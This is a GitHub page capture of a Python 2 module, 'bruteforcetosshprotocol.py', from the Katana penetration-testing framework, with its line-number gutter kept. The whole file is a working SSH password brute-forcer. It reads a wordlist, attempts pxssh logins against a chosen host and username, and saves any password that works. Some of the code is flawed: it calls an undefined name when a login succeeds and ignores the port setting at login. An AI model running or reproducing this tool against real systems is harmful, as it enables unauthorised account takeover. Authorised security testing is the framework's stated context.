/
bruteforcetosshprotocol.py
84 lines (80 loc) · 3.47 KB
/
bruteforcetosshprotocol.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# This module requires katana framework
# https://github.com/RedToor/Katana
# :-:-:-:-:-:-:-:-:-:-:-:-:-: #
# Katana Core #
from core.design import * #
from core.Setting import * #
from core import Errors #
from core import getFunction #
import sys #
Message=DESIGN() #
# :-:-:-:-:-:-:-:-:-:-:-:-:-: #
# Libraries #
from pexpect import pxssh #
# :-:-:-:-:-:-:-:-:-:-:-:-:-: #
# INFORMATION MODULE
def initialize():
initialize.Author ="RedToor"
initialize.Version ="1.1"
initialize.Despcription ="Brute Force to SSH protocol."
initialize.CodeName ="btf/pr.ssh"
initialize.DateCreation ="07/03/2015"
initialize.LastModification ="25/03/2016"
# DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION
initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0]
initialize.DEFAULT_VARIABLE +=[[SSH_PORT , "port" , "no" , "Service port"]] #[1][0]
initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username target"]] #[2][0]
initialize.DEFAULT_VARIABLE +=[[DITIONARY_PASSWORDS , "dict" , "no" , "Wordlist"]] #[3][0]
initialize()
# END INFORMATION MODULE
# MAIN FUNCTION
def main(run):
try:
# HEAD MODULE
if run: actions=raw_input(Message.prompt(initialize.CodeName))
else : actions="run"
if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
elif getFunction.KatanaCheckActionisBack(actions) :return
# END HEAD MODULE
elif getFunction.runModule(actions):
Message.run()
# CODE MODULE ############################################################################################
try:
getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0])
if True:
try:
Message.loading_file()
with open(initialize.DEFAULT_VARIABLE[3][0],'r') as passwords:
for ps in passwords:
ps=ps.replace("\n","")
try:
connect = pxssh.pxssh()
connect.login(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[2][0],ps)
if True:
getFunction.save("BruteForceSSH",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],ps)
Message.Success(defaultuser,ps)
break
except:
print " "+Alr+" Checking ("+initialize.DEFAULT_VARIABLE[2][0]+"="+ps+")"
except:
Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[3][0])
except:
Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
# END CODE MODULE ############################################################################################
else:
getFunction.KatanaCheckActionGlobalCommands(actions)
# ERROR GENERAL
except:
Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
# END ERROR GENERAL
main(True)
# END MAIN FUNCTION
# LINKER FUNCTION
def run(target,port,username,dictionary):
initialize.DEFAULT_VARIABLE[0][0] = target
initialize.DEFAULT_VARIABLE[1][0] = port
initialize.DEFAULT_VARIABLE[2][0] = username
initialize.DEFAULT_VARIABLE[3][0] = dictionary
main(False)
# END LINKER FUNCTION